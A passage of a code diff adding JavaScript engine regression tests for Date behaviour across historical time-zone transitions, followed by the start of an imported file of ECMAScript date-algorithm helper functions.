+ assertDateTime(dt2, "Fri Jan 01 1915 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ let dt3 = new Date(1970, Month.January, 1);
+ assertDateTime(dt3, "Thu Jan 01 1970 00:00:00 GMT+0100 (Greenwich Mean Time)");
+});
+
+// bug 637244
+inTimeZone("Asia/Novosibirsk", () => {
+ let dt1 = new Date("1942-03-01T00:00:00");
+ assertDateTime(dt1, "Sun Mar 01 1942 00:00:00 GMT+0700 (Novosibirsk Standard Time)");
+ dt1.setMonth(Month.April);
+ assertDateTime(dt1, "Wed Apr 01 1942 00:00:00 GMT+0700 (Novosibirsk Standard Time)");
+
+ let dt2 = new Date(2010, Month.October, 31);
+ assertDateTime(dt2, "Sun Oct 31 2010 00:00:00 GMT+0700 (Novosibirsk Summer Time)");
+ dt2.setMonth(Month.November);
+ assertDateTime(dt2, "Wed Dec 01 2010 00:00:00 GMT+0600 (Novosibirsk Standard Time)");
+
+ let dt3 = new Date(1942, Month.April, 1);
+ assertDateTime(dt3, "Wed Apr 01 1942 00:00:00 GMT+0700 (Novosibirsk Standard Time)");
+
+ function getNumberOfDaysInMonth(year, month) {
+ switch (month) {
+ case Month.January:
+ case Month.March:
+ case Month.May:
+ case Month.July:
+ case Month.August:
+ case Month.October:
+ case Month.December:
+ return 31;
+ case Month.April:
+ case Month.June:
+ case Month.September:
+ case Month.November:
+ return 30;
+ case Month.February:
+ if (year % 4 === 0 && (year % 100 !== 0 || year % 400 === 0))
+ return 29;
+ return 28;
+ }
+ throw new Error(`Illegal month value: ${month}`);
+ }
+
+ for (let year = 1900; year <= 2142; ++year) {
+ for (let month = Month.January; month <= Month.December; ++month) {
+ const numDays = getNumberOfDaysInMonth(year, month);
+ for (let day = 1; day <= numDays; ++day) {
+ let date = new Date(year, month, day);
+ assertEq(date.getMonth(), month);
+ }
+ }
+ }
+
+ let dt4 = new Date(1984, Month.April, 1);
+ assertDateTime(dt4, "Sun Apr 01 1984 01:00:00 GMT+0800 (Novosibirsk Summer Time)");
+
+ let dt5 = new Date(1984, Month.March, 1);
+ assertDateTime(dt5, "Thu Mar 01 1984 00:00:00 GMT+0700 (Novosibirsk Standard Time)");
+
+ let dt6 = new Date(1984, Month.April, 1);
+ assertEq(dt6.toUTCString(), "Sat, 31 Mar 1984 17:00:00 GMT");
+ assertEq(dt6.getTime(), 449600400000);
+});
+inTimeZone("Europe/Tallinn", () => {
+ let dt = new Date(2040, Month.March, 31, 20);
+
+ for (let {datetime, date, hours} of [
+ {datetime: "Sat Mar 31 2040 20:00:00", date: 31, hours: 20},
+ {datetime: "Sat Mar 31 2040 22:00:00", date: 31, hours: 22},
+ {datetime: "Sun Apr 01 2040 00:00:00", date: 1, hours: 0},
+ {datetime: "Sun Apr 01 2040 02:00:00", date: 1, hours: 2},
+ {datetime: "Sun Apr 01 2040 04:00:00", date: 1, hours: 4},
+ {datetime: "Sun Apr 01 2040 06:00:00", date: 1, hours: 6},
+ {datetime: "Sun Apr 01 2040 08:00:00", date: 1, hours: 8},
+ ]) {
+ assertDateTime(dt, `${datetime} GMT+0300 (Eastern European Summer Time)`);
+ assertEq(dt.getDate(), date);
+ assertEq(dt.getHours(), hours);
+ assertEq(dt.getTimezoneOffset(), -180);
+
+ dt.setHours(dt.getHours() + 2);
+ }
+});
+inTimeZone("Europe/Riga", () => {
+ let dt1 = new Date(2016, Month.March, 27, 2, 59);
+ assertDateTime(dt1, "Sun Mar 27 2016 02:59:00 GMT+0200 (Eastern European Standard Time)");
+
+ let dt2 = new Date(2016, Month.March, 27, 3, 0);
+ assertDateTime(dt2, "Sun Mar 27 2016 04:00:00 GMT+0300 (Eastern European Summer Time)");
+});
+
+// bug 704486
+inTimeZone("Europe/Zagreb", () => {
+ let dt = new Date(Date.UTC(1942, Month.June, 11, 22, 0, 0, 0));
+ assertDateTime(dt, "Fri Jun 12 1942 00:00:00 GMT+0200 (Central European Summer Time)");
+ assertEq(dt.getFullYear(), 1942);
+ assertEq(dt.getMonth(), Month.June);
+ assertEq(dt.getDate(), 12);
+ assertEq(dt.getHours(), 0);
+ assertEq(dt.getMinutes(), 0);
+ assertEq(dt.getSeconds(), 0);
+ assertEq(dt.getMilliseconds(), 0);
+ assertEq(dt.getTimezoneOffset(), -120);
+});
+
+// bug 935909
+inTimeZone("Europe/London", () => {
+ let dt1 = new Date(1954, Month.January, 1);
+ assertDateTime(dt1, "Fri Jan 01 1954 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ let dt2 = new Date(1965, Month.January, 1);
+ assertDateTime(dt2, "Fri Jan 01 1965 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ let dt3 = new Date(1970, Month.January, 1);
+ assertDateTime(dt3, "Thu Jan 01 1970 00:00:00 GMT+0100 (Greenwich Mean Time)");
+
+ let dt4 = new Date(-504921600000);
+ assertDateTime(dt4, "Fri Jan 01 1954 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ let dt5 = new Date(1974, Month.January, 1);
+ assertDateTime(dt5, "Tue Jan 01 1974 00:00:00 GMT+0000 (Greenwich Mean Time)");
+});
+inTimeZone("Europe/Dublin", () => {
+ let dt = new Date(0, Month.January, 1, 0, 0, 0, 0);
+ dt.setFullYear(1970);
+ assertEq(dt.getFullYear(), 1970);
+});
+
+// bug 937261
+inTimeZone("Europe/Lisbon", () => {
+ let dt = new Date(0, Month.January, 1, 0, 0, 0, 0);
+ assertDateTime(dt, "Mon Jan 01 1900 00:00:00 GMT-0036 (Western European Standard Time)");
+
+ dt.setFullYear(2015);
+ assertDateTime(dt, "Thu Jan 01 2015 00:00:00 GMT+0000 (Western European Standard Time)");
+
+ dt.setMonth(Month.November);
+ assertDateTime(dt, "Sun Nov 01 2015 00:00:00 GMT+0000 (Western European Standard Time)");
+});
+inTimeZone("Europe/London", () => {
+ let dt = new Date(0, Month.January, 1, 0, 0, 0, 0);
+ assertDateTime(dt, "Mon Jan 01 1900 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ dt.setFullYear(2015);
+ assertDateTime(dt, "Thu Jan 01 2015 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ dt.setMonth(Month.November);
+ assertDateTime(dt, "Sun Nov 01 2015 00:00:00 GMT+0000 (Greenwich Mean Time)");
+});
+
+// bug 1079720
+inTimeZone("Europe/Moscow", () => {
+ let dt1 = new Date(2014, Month.January, 1);
+ assertDateTime(dt1, "Wed Jan 01 2014 00:00:00 GMT+0400 (Moscow Standard Time)");
+ assertEq(dt1.toISOString(), "2013-12-31T20:00:00.000Z");
+ assertEq(dt1.getHours(), 0);
+
+ let dt2 = new Date(2013, Month.January, 1);
+ assertDateTime(dt2, "Tue Jan 01 2013 00:00:00 GMT+0400 (Moscow Standard Time)");
+
+ let dt3 = new Date(new Date(2014, Month.December, 1).setMonth(Month.January));
+ assertDateTime(dt3, "Wed Jan 01 2014 00:00:00 GMT+0400 (Moscow Standard Time)");
+ assertEq(dt3.getFullYear(), 2014);
+
+ let dt4 = new Date(2040, Month.April, 1);
+ assertDateTime(dt4, "Sun Apr 01 2040 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt5 = new Date(2043, Month.April, 1);
+ assertDateTime(dt5, "Wed Apr 01 2043 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt6 = new Date(2054, Month.April, 1);
+ assertDateTime(dt6, "Wed Apr 01 2054 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt7 = new Date(2065, Month.April, 1);
+ assertDateTime(dt7, "Wed Apr 01 2065 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt8 = new Date(2068, Month.April, 1);
+ assertDateTime(dt8, "Sun Apr 01 2068 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt9 = new Date(2071, Month.April, 1);
+ assertDateTime(dt9, "Wed Apr 01 2071 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt10 = new Date(2082, Month.April, 1);
+ assertDateTime(dt10, "Wed Apr 01 2082 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt11 = new Date(2093, Month.April, 1);
+ assertDateTime(dt11, "Wed Apr 01 2093 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt12 = new Date(2096, Month.April, 1);
+ assertDateTime(dt12, "Sun Apr 01 2096 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt13 = new Date(2099, Month.April, 1);
+ assertDateTime(dt13, "Wed Apr 01 2099 00:00:00 GMT+0300 (Moscow Standard Time)");
+});
+
+// bug 1107837
+inTimeZone("Europe/Moscow", () => {
+ let dt1 = new Date(2015, Month.January, 4);
+ assertDateTime(dt1, "Sun Jan 04 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt2 = new Date(2015, Month.January, 5);
+ assertDateTime(dt2, "Mon Jan 05 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt3 = new Date(2015, Month.January, 6);
+ assertDateTime(dt3, "Tue Jan 06 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt4 = new Date(2015, Month.January, 7);
+ assertDateTime(dt4, "Wed Jan 07 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt5 = new Date(2015, Month.January, 8);
+ assertDateTime(dt5, "Thu Jan 08 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt6 = new Date(2015, Month.January, 9);
+ assertDateTime(dt6, "Fri Jan 09 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+});
+
+// bug 1122571
+inTimeZone("Europe/Berlin", () => {
+ const locale = "en-001";
+ const opts = {timeZoneName: "long", hour12: false};
+
+ let dt1 = new Date(1950, Month.March, 28);
+ assertDateTime(dt1, "Tue Mar 28 1950 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt1.toLocaleString(locale, opts), "28/03/1950, 00:00:00 GMT+01:00");
+
+ let dt2 = new Date(1950, Month.July, 1);
+ assertDateTime(dt2, "Sat Jul 01 1950 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt2.toLocaleString(locale, opts), "01/07/1950, 00:00:00 GMT+01:00");
+
+ let dt3 = new Date(1960, Month.March, 27);
+ assertDateTime(dt3, "Sun Mar 27 1960 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt3.toLocaleString(locale, opts), "27/03/1960, 00:00:00 GMT+01:00");
+
+ let dt4 = new Date(1960, Month.March, 28);
+ assertDateTime(dt4, "Mon Mar 28 1960 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt4.toLocaleString(locale, opts), "28/03/1960, 00:00:00 GMT+01:00");
+
+ let dt5 = new Date(1960, Month.March, 29);
+ assertDateTime(dt5, "Tue Mar 29 1960 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt5.toLocaleString(locale, opts), "29/03/1960, 00:00:00 GMT+01:00");
+
+ let dt6 = new Date(1960, Month.July, 1);
+ assertDateTime(dt6, "Fri Jul 01 1960 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt6.toLocaleString(locale, opts), "01/07/1960, 00:00:00 GMT+01:00");
+
+ let dt7 = new Date(1961, Month.July, 1);
+ assertDateTime(dt7, "Sat Jul 01 1961 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt7.toLocaleString(locale, opts), "01/07/1961, 00:00:00 GMT+01:00");
+
+ let dt8 = new Date(1970, Month.March, 1);
+ assertDateTime(dt8, "Sun Mar 01 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt8.toLocaleString(locale, opts), "01/03/1970, 00:00:00 Central European Standard Time");
+
+ let dt9 = new Date(1970, Month.March, 27);
+ assertDateTime(dt9, "Fri Mar 27 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt9.toLocaleString(locale, opts), "27/03/1970, 00:00:00 Central European Standard Time");
+
+ let dt10 = new Date(1970, Month.March, 28);
+ assertDateTime(dt10, "Sat Mar 28 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt10.toLocaleString(locale, opts), "28/03/1970, 00:00:00 Central European Standard Time");
+
+ let dt11 = new Date(1970, Month.July, 1);
+ assertDateTime(dt11, "Wed Jul 01 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt11.toLocaleString(locale, opts), "01/07/1970, 00:00:00 Central European Standard Time");
+});
+
+// bug 1143398
+inTimeZone("Australia/Adelaide", () => {
+ let dt = new Date(621000);
+ assertDateTime(dt, "Thu Jan 01 1970 09:40:21 GMT+0930 (Australian Central Standard Time)");
+ assertEq(dt.getUTCFullYear(), 1970);
+
+ dt.setMilliseconds(dt.getMilliseconds());
+ dt.setSeconds(dt.getSeconds());
+
+ assertDateTime(dt, "Thu Jan 01 1970 09:40:21 GMT+0930 (Australian Central Standard Time)");
+ assertEq(dt.getUTCFullYear(), 1970);
+});
+inTimeZone("America/Denver", () => {
+ let dt = new Date(1446361200000);
+ assertDateTime(dt, "Sun Nov 01 2015 01:00:00 GMT-0600 (Mountain Daylight Time)");
+
+ assertEq(dt.getTime(), 1446361200000);
+ dt.setMilliseconds(0);
+ assertEq(dt.getTime(), 1446361200000);
+});
+
+// bug 1233809
+inTimeZone("America/New_York", () => {
+ let dt = new Date(1980, Month.March, 10);
+ assertDateTime(dt, "Mon Mar 10 1980 00:00:00 GMT-0500 (Eastern Standard Time)");
+});
+
+// bug 1254041
+inTimeZone("Asia/Ho_Chi_Minh", () => {
+ let dt1 = new Date(Date.UTC(1969, Month.December, 31, 23, 0));
+ assertDateTime(dt1, "Thu Jan 01 1970 07:00:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), -3600000);
+
+ dt1.setMinutes(dt1.getMinutes() + 30);
+ assertDateTime(dt1, "Thu Jan 01 1970 07:30:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), -1800000);
+
+ dt1.setMinutes(dt1.getMinutes() + 30);
+ assertDateTime(dt1, "Thu Jan 01 1970 08:00:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), 0);
+
+ dt1.setMinutes(dt1.getMinutes() + 30);
+ assertDateTime(dt1, "Thu Jan 01 1970 08:30:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), 1800000);
+
+ dt1.setMinutes(dt1.getMinutes() + 30);
+ assertDateTime(dt1, "Thu Jan 01 1970 09:00:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), 3600000);
+
+ let dt2 = new Date(-1);
+ assertEq(dt2.getTime(), -1);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + 1);
+ assertEq(dt2.getTime(), 0);
+
+ dt2.setTime(1);
+ assertEq(dt2.getTime(), 1);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() - 1);
+ assertEq(dt2.getTime(), 0);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() - 1);
+ assertEq(dt2.getTime(), -1);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + 1);
+ assertEq(dt2.getTime(), 0);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + 3600000);
+ assertEq(dt2.getTime(), 3600000);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + (3600000 * 2 - 1));
+ assertEq(dt2.getTime(), 3600000 * 3 - 1);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + 1);
+ assertEq(dt2.getTime(), 3600000 * 3);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + (3600000 * 2));
+ assertEq(dt2.getTime(), 3600000 * 5);
+
+ let dt3 = new Date(0);
+ assertDateTime(dt3, "Thu Jan 01 1970 08:00:00 GMT+0800 (Indochina Time)");
+
+ let dt4 = new Date(-1);
+ assertDateTime(dt4, "Thu Jan 01 1970 07:59:59 GMT+0800 (Indochina Time)");
+});
+
+// bug 1300197
+inTimeZone("Europe/Dublin", () => {
+ let dt = new Date(1910, Month.January, 1);
+ assertDateTime(dt, "Sat Jan 01 1910 00:00:00 GMT-0025 (Greenwich Mean Time)");
+});
+
+// bug 1304774
+inTimeZone("Europe/Zurich", () => {
+ let dt = new Date(1986, Month.April, 4, 0, 0, 0, 0);
+ assertDateTime(dt, "Fri Apr 04 1986 00:00:00 GMT+0200 (Central European Summer Time)");
+ assertEq(dt.getTimezoneOffset(), -120);
+});
+
+// bug 1330307
+inTimeZone("Europe/Moscow", () => {
+ let dt = new Date(2012, Month.May, 14, 12, 13, 14);
+ assertDateTime(dt, "Mon May 14 2012 12:13:14 GMT+0400 (Moscow Standard Time)");
+
+ let dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", minute: "numeric"});
+ assertEq(dtf.format(dt), "12:13 PM");
+});
+inTimeZone("Asia/Baku", () => {
+ let dt = new Date(2012, Month.May, 14, 12, 13, 14);
+ assertDateTime(dt, "Mon May 14 2012 12:13:14 GMT+0500 (Azerbaijan Summer Time)");
+
+ let dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", minute: "numeric"});
+ assertEq(dtf.format(dt), "12:13 PM");
+});
+inTimeZone("Asia/Tbilisi", () => {
+ let dt = new Date(2012, Month.May, 14, 12, 13, 14);
+ assertDateTime(dt, "Mon May 14 2012 12:13:14 GMT+0400 (Georgia Standard Time)");
+
+ let dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", minute: "numeric"});
+ assertEq(dtf.format(dt), "12:13 PM");
+});
+
+// bug 1335818
+inTimeZone("Asia/Jerusalem", () => {
+ let dt1 = new Date(2013, Month.March, 22, 1, 0, 0, 0);
+ assertDateTime(dt1, "Fri Mar 22 2013 01:00:00 GMT+0200 (Israel Standard Time)");
+
+ let dt2 = new Date(2013, Month.March, 22, 2, 0, 0, 0);
+ assertDateTime(dt2, "Fri Mar 22 2013 02:00:00 GMT+0200 (Israel Standard Time)");
+
+ let dt3 = new Date(2013, Month.March, 22, 3, 0, 0, 0);
+ assertDateTime(dt3, "Fri Mar 22 2013 03:00:00 GMT+0200 (Israel Standard Time)");
+
+ let dt4 = new Date(2013, Month.March, 29, 1, 0, 0, 0);
+ assertDateTime(dt4, "Fri Mar 29 2013 01:00:00 GMT+0200 (Israel Standard Time)");
+
+ let dt5 = new Date(2013, Month.March, 29, 2, 0, 0, 0);
+ assertDateTime(dt5, "Fri Mar 29 2013 03:00:00 GMT+0300 (Israel Daylight Time)");
+
+ let dt6 = new Date(2013, Month.March, 29, 3, 0, 0, 0);
+ assertDateTime(dt6, "Fri Mar 29 2013 03:00:00 GMT+0300 (Israel Daylight Time)");
+});
+
+// bug 1342853
+inTimeZone("America/Sao_Paulo", () => {
+ let dt1 = new Date(2017, Month.October, 14, 12, 0, 0);
+ assertDateTime(dt1, "Sat Oct 14 2017 12:00:00 GMT-0300 (Brasilia Standard Time)");
+ assertEq(dt1.getTimezoneOffset(), 180);
+
+ let dt2 = new Date(2017, Month.October, 15, 12, 0, 0);
+ assertDateTime(dt2, "Sun Oct 15 2017 12:00:00 GMT-0200 (Brasilia Summer Time)");
+ assertEq(dt2.getTimezoneOffset(), 120);
+
+ let dt3 = new Date(2018, Month.February, 17, 12, 0, 0);
+ assertDateTime(dt3, "Sat Feb 17 2018 12:00:00 GMT-0200 (Brasilia Summer Time)");
+ assertEq(dt3.getTimezoneOffset(), 120);
+
+ let dt4 = new Date(2018, Month.February, 18, 12, 0, 0);
+ assertDateTime(dt4, "Sun Feb 18 2018 12:00:00 GMT-0300 (Brasilia Standard Time)");
+ assertEq(dt4.getTimezoneOffset(), 180);
+
+ let dt5 = new Date(2018, Month.November, 3, 12, 0, 0);
+ assertDateTime(dt5, "Sat Nov 03 2018 12:00:00 GMT-0300 (Brasilia Standard Time)");
+ assertEq(dt5.getTimezoneOffset(), 180);
+
+ let dt6 = new Date(2018, Month.November, 4, 12, 0, 0);
+ assertDateTime(dt6, "Sun Nov 04 2018 12:00:00 GMT-0200 (Brasilia Summer Time)");
+ assertEq(dt6.getTimezoneOffset(), 120);
+
+ let dt7 = new Date(2019, Month.February, 16, 12, 0, 0);
+ assertDateTime(dt7, "Sat Feb 16 2019 12:00:00 GMT-0200 (Brasilia Summer Time)");
+ assertEq(dt7.getTimezoneOffset(), 120);
+
+ let dt8 = new Date(2019, Month.February, 17, 12, 0, 0);
+ assertDateTime(dt8, "Sun Feb 17 2019 12:00:00 GMT-0300 (Brasilia Standard Time)");
+ assertEq(dt8.getTimezoneOffset(), 180);
+});
+
+// bug 1365192
+inTimeZone("America/Asuncion", () => {
+ let dt = new Date(2018, Month.March, 31);
+ assertDateTime(dt, "Sat Mar 31 2018 00:00:00 GMT-0400 (Paraguay Standard Time)");
+ assertEq(dt.getTimezoneOffset(), 240);
+});
+
+// bug 1385643
+inTimeZone("Europe/Warsaw", () => {
+ let shortMonths = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
+ let dtf = new Intl.DateTimeFormat("en-US", {month: "short"});
+
+ for (let year = 1900; year <= 2100; ++year) {
+ for (let month = Month.January; month <= Month.December; ++month) {
+ let date = new Date(year, month, 1);
+ assertEq(dtf.format(date), shortMonths[month]);
+ }
+ }
+});
+
+// bug 1401696
+inTimeZone("Europe/Berlin", () => {
+ let dt = new Date(1970, Month.January, 1, 0, 0, 0);
+ assertDateTime(dt, "Thu Jan 01 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+});
+
+// bug 1459842
+inTimeZone("Europe/Moscow", () => {
+ let dt1 = new Date(1004, Month.April, 1, 2, 0, 0);
+ assertDateTime(dt1, "Sun Apr 01 1004 02:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt1.getHours(), 2);
+
+ let dt2 = new Date(1004, Month.April, 1, 1, 0, 0);
+ assertDateTime(dt2, "Sun Apr 01 1004 01:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt2.getHours(), 1);
+
+ let dt3 = new Date(1004, Month.April, 1, 0, 0, 0);
+ assertDateTime(dt3, "Sun Apr 01 1004 00:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt3.getHours(), 0);
+
+ let dt4 = new Date(1004, Month.March, 1, 2, 0, 0);
+ assertDateTime(dt4, "Thu Mar 01 1004 02:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt4.getHours(), 2);
+
+ let dt5 = new Date(1004, Month.March, 1, 1, 0, 0);
+ assertDateTime(dt5, "Thu Mar 01 1004 01:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt5.getHours(), 1);
+
+ let dt6 = new Date(1004, Month.March, 1, 0, 0, 0);
+ assertDateTime(dt6, "Thu Mar 01 1004 00:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt6.getHours(), 0);
+
+});
+
+// bug 1799638
+inTimeZone("Asia/Tokyo", () => {
+ let dt1 = new Date(1948, Month.May, 1, 23, 59, 59);
+ assertDateTime(dt1, "Sat May 01 1948 23:59:59 GMT+0900 (Japan Standard Time)");
+ assertEq(dt1.getTimezoneOffset(), -540);
+
+ let dt2 = new Date(1948, Month.May, 1, 24, 0, 0);
+ assertDateTime(dt2, "Sun May 02 1948 01:00:00 GMT+1000 (Japan Daylight Time)");
+ assertEq(dt2.getTimezoneOffset(), -600);
+
+ let dt3 = new Date(1948, Month.May, 1, 23, 59, 59, 1);
+ assertDateTime(dt3, "Sat May 01 1948 23:59:59 GMT+0900 (Japan Standard Time)");
+ assertEq(dt3.getTimezoneOffset(), -540);
+});
+inTimeZone("America/New_York", () => {
+ let dt1 = new Date(1966, Month.April, 24, 1, 59, 59);
+ assertDateTime(dt1, "Sun Apr 24 1966 01:59:59 GMT-0500 (Eastern Standard Time)");
+ assertEq(dt1.getTimezoneOffset(), 300);
+
+ let dt2 = new Date(1966, Month.April, 24, 2, 0, 0);
+ assertDateTime(dt2, "Sun Apr 24 1966 03:00:00 GMT-0400 (Eastern Daylight Time)");
+ assertEq(dt2.getTimezoneOffset(), 240);
+
+ let dt3 = new Date(1966, Month.April, 24, 1, 59, 59, 1);
+ assertDateTime(dt3, "Sun Apr 24 1966 01:59:59 GMT-0500 (Eastern Standard Time)");
+ assertEq(dt3.getTimezoneOffset(), 300);
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones-imported.js b/js/src/tests/non262/Date/time-zones-imported.js
new file mode 100644
index 0000000000..8a13e34981
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones-imported.js
@@ -0,0 +1,1020 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!this.hasOwnProperty("Intl")) -- Windows doesn't accept IANA names for the TZ env variable; Requires ICU time zone support
+
+// Imported tests from es6draft and then adapted to use ICU/CLDR time zone display names.
+
+function assertSame(expected, actual, message = undefined) {
+ if (message !== undefined)
+ assertEq(actual, expected, String(message));
+ else
+ assertEq(actual, expected);
+}
+
+function assertTrue(actual, message = undefined) {
+ assertSame(true, actual, message);
+}
+
+// File: lib/datetime.jsm
+const {
+ DayOfWeek,
+ Month,
+ DateTime,
+ TimeZone,
+ Format,
+} = (function() {
+
+// 5.2 Algorithm Conventions
+function modulo(dividend, divisor) {
+ assertTrue(typeof dividend === "number");
+ assertTrue(typeof divisor === "number");
+ assertTrue(divisor !== 0 && Number.isFinite(divisor));
+ let remainder = dividend % divisor;
+ // NB: add +0 to convert -0 to +0
+ return (remainder >= 0 ? remainder + 0 : remainder + divisor);
+}
+
+// 7.1.4 ToInteger ( argument )
+function ToInteger(number) {
+ /* steps 1-2 */
+ assertTrue(typeof number === "number");
+ /* step 3 */
+ if (Number.isNaN(number))
+ return +0.0;
+ /* step 4 */
+ if (number == 0.0 || !Number.isFinite(number))
+ return number;
+ /* step 5 */
+ return Math.sign(number) * Math.floor(Math.abs(number));
+}
+
+// 20.3.1.2 Day Number and Time within Day
+const msPerDay = 86400000;
+
+// 20.3.1.2 Day Number and Time within Day
+function Day(t) {
+ assertTrue(typeof t === "number");
+ return Math.floor(t / msPerDay);
+}
+
+// 20.3.1.2 Day Number and Time within Day
+function TimeWithinDay(t) {
+ assertTrue(typeof t === "number");
+ return modulo(t, msPerDay);
+}
+
+// 20.3.1.3 Year Number
+function DaysInYear(y) {
+ assertTrue(typeof y === "number");
+ if (y % 4 !== 0) {
+ return 365;
+ }
+ if (y % 100 !== 0) {
+ return 366;
+ }
+ if (y % 400 !== 0) {
+ return 365;
+ }
+ return 366;
+}
+
+// 20.3.1.3 Year Number
+function DayFromYear(y) {
+ assertTrue(typeof y === "number");
+ return 365 * (y - 1970) + Math.floor((y - 1969) / 4) - Math.floor((y - 1901) / 100) + Math.floor((y - 1601) / 400);
+}
+
+// 20.3.1.3 Year Number
+function TimeFromYear(y) {
+ assertTrue(typeof y === "number");
+ return msPerDay * DayFromYear(y);
+}
+
+// TODO: fill in rest
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+const HoursPerDay = 24;
+const MinutesPerHour = 60;
+const SecondsPerMinute = 60;
+const msPerSecond = 1000;
+const msPerMinute = msPerSecond * SecondsPerMinute;
+const msPerHour = msPerMinute * MinutesPerHour;
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+function HourFromTime(t) {
+ assertTrue(typeof t === "number");
+ return modulo(Math.floor(t / msPerHour), HoursPerDay);
+}
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+function MinFromTime(t) {
+ assertTrue(typeof t === "number");
+ return modulo(Math.floor(t / msPerMinute), MinutesPerHour);
+}
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+function SecFromTime(t) {
+ assertTrue(typeof t === "number");
+ return modulo(Math.floor(t / msPerSecond), SecondsPerMinute);
+}
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+function msFromTime(t) {
+ assertTrue(typeof t === "number");
+ return modulo(t, msPerSecond);
+}
+
+// 20.3.1.11 MakeTime (hour, min, sec, ms)
+function MakeTime(hour, min, sec, ms) {
+ assertTrue(typeof hour === "number");
+ assertTrue(typeof min === "number");
+ assertTrue(typeof sec === "number");
+ assertTrue(typeof ms === "number");
+ if (!Number.isFinite(hour) || !Number.isFinite(min) || !Number.isFinite(sec) || !Number.isFinite(ms)) {
+ return Number.NaN;
+ }
+ let h = ToInteger(hour);
+ let m = ToInteger(min);
+ let s = ToInteger(sec);
+ let milli = ToInteger(ms);
+ let t = h * msPerHour + m * msPerMinute + s * msPerSecond + milli;
+ return t;
+}
+
+// 20.3.1.12 MakeDay (year, month, date)
+function MakeDay(year, month, date) {
+ assertTrue(typeof year === "number");
+ assertTrue(typeof month === "number");
+ assertTrue(typeof date === "number");
+ if (!Number.isFinite(year) || !Number.isFinite(month) || !Number.isFinite(date)) {
+ return Number.NaN;
+ }
+ let y = ToInteger(year);
+ let m = ToInteger(month);
+ let dt = ToInteger(date);
+ let ym = y + Math.floor(m / 12);
+ let mn = modulo(m, 12);
+
+ const monthStart = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334];
+ let day = Math.floor(TimeFromYear(ym) / msPerDay) + monthStart[mn];
+ if (mn >= 2 && DaysInYear(ym) == 366) {
+ day += 1;
+ }
+
+ return day + dt - 1;
+}
+
+// 20.3.1.13 MakeDate (day, time)
+function MakeDate(day, time) {
+ assertTrue(typeof day === "number");
+ assertTrue(typeof time === "number");
+ if (!Number.isFinite(day) || !Number.isFinite(time)) {
+ return Number.NaN;
+ }
+ return day * msPerDay + time;
+}
+
+// 20.3.1.14 TimeClip (time)
+function TimeClip(time) {
+ assertTrue(typeof time === "number");
+ if (!Number.isFinite(time)) {
+ return Number.NaN;
+ }
+ if (Math.abs(time) > 8.64e15) {
+ return Number.NaN;
+ }
+ return ToInteger(time) + (+0);
